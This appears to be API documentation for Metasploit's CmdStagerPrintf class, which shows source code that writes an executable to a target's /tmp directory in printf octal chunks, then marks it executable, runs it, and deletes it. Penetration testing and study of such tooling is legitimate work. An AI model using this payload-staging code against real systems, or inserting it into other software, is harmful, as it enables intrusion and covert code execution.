Class: Rex::Exploitation::CmdStagerPrintf

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/printf.rb

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#compress_commands, #generate_cmds_payload

Constructor Details

#initialize(exe) ⇒ CmdStagerPrintf

Returns a new instance of CmdStagerPrintf


13
14
15
16
17
# File 'lib/rex/exploitation/cmdstager/printf.rb', line 13

def initialize(exe)
  super

  @var_elf = Rex::Text.rand_text_alpha(5)
end

Instance Method Details

#cmd_concat_operatorObject


116
117
118
# File 'lib/rex/exploitation/cmdstager/printf.rb', line 116

def cmd_concat_operator
  " ; "
end

#encode_payload(opts) ⇒ Object

Encode into a “12345” octal format that printf understands


58
59
60
# File 'lib/rex/exploitation/cmdstager/printf.rb', line 58

def encode_payload(opts)
  return Rex::Text.to_octal(@exe, @prefix)
end

#generate(opts = {}) ⇒ Object

Override to ensure opts is a correct *nix path


22
23
24
25
26
27
28
# File 'lib/rex/exploitation/cmdstager/printf.rb', line 22

def generate(opts = {})
  opts[:temp] = opts[:temp] || '/tmp/'
  opts[:temp].gsub!(/\\/, '/')
  opts[:temp] = opts[:temp].shellescape
  opts[:temp] << '/' if opts[:temp][-1,1] != '/'
  super
end

#generate_cmds(opts) ⇒ Object

Override to set the extra byte count


33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# File 'lib/rex/exploitation/cmdstager/printf.rb', line 33

def generate_cmds(opts)
  if opts[:noquotes]
    @cmd_start    = "printf "
    @cmd_end      = ">>#{@tempdir}#{@var_elf}"
    @prefix       = '\\\\'
    min_part_size = 5
  else
    @cmd_start    = "printf '"
    @cmd_end      = "'>>#{@tempdir}#{@var_elf}"
    @prefix       = '\\'
    min_part_size = 4
  end
  xtra_len = @cmd_start.length + @cmd_end.length
  opts.merge!({ :extra => xtra_len })

  if (opts[:linemax] - opts[:extra]) < min_part_size
    raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
  end

  super
end

#generate_cmds_decoder(opts) ⇒ Object

Since the binary has been already dropped to disk, just execute and delete it


102
103
104
105
106
107
108
109
110
111
112
113
114
# File 'lib/rex/exploitation/cmdstager/printf.rb', line 102

def generate_cmds_decoder(opts)
  cmds = []
  # Make it all happen
  cmds << "chmod +x #{@tempdir}#{@var_elf}"
  cmds << "#{@tempdir}#{@var_elf}"

  # Clean up after unless requested not to..
  unless opts[:nodelete]
    cmds << "rm -f #{@tempdir}#{@var_elf}"
  end

  return cmds
end

#parts_to_commands(parts, opts) ⇒ Object

Combine the parts of the encoded file with the stuff that goes before and after it.


92
93
94
95
96
# File 'lib/rex/exploitation/cmdstager/printf.rb', line 92

def parts_to_commands(parts, opts)
  parts.map do |p|
    @cmd_start + p + @cmd_end
  end
end

#slice_up_payload(encoded, opts) ⇒ Object

Override it to ensure that the octal representation of a byte isn't cut


65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# File 'lib/rex/exploitation/cmdstager/printf.rb', line 65

def slice_up_payload(encoded, opts)
  encoded_dup = encoded.dup

  parts = []
  xtra_len = opts[:extra]
  xtra_len ||= 0
  while (encoded_dup.length > 0)
    temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))

    # remove the last octal escape if it is imcomplete
    if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix
      pos = temp.rindex('\\')
      pos -= 1 if temp[pos-1] == '\\'
      temp.slice!(pos..temp.length-1)
    end

    parts << temp
    encoded_dup.slice!(0, temp.length)
  end

  parts
end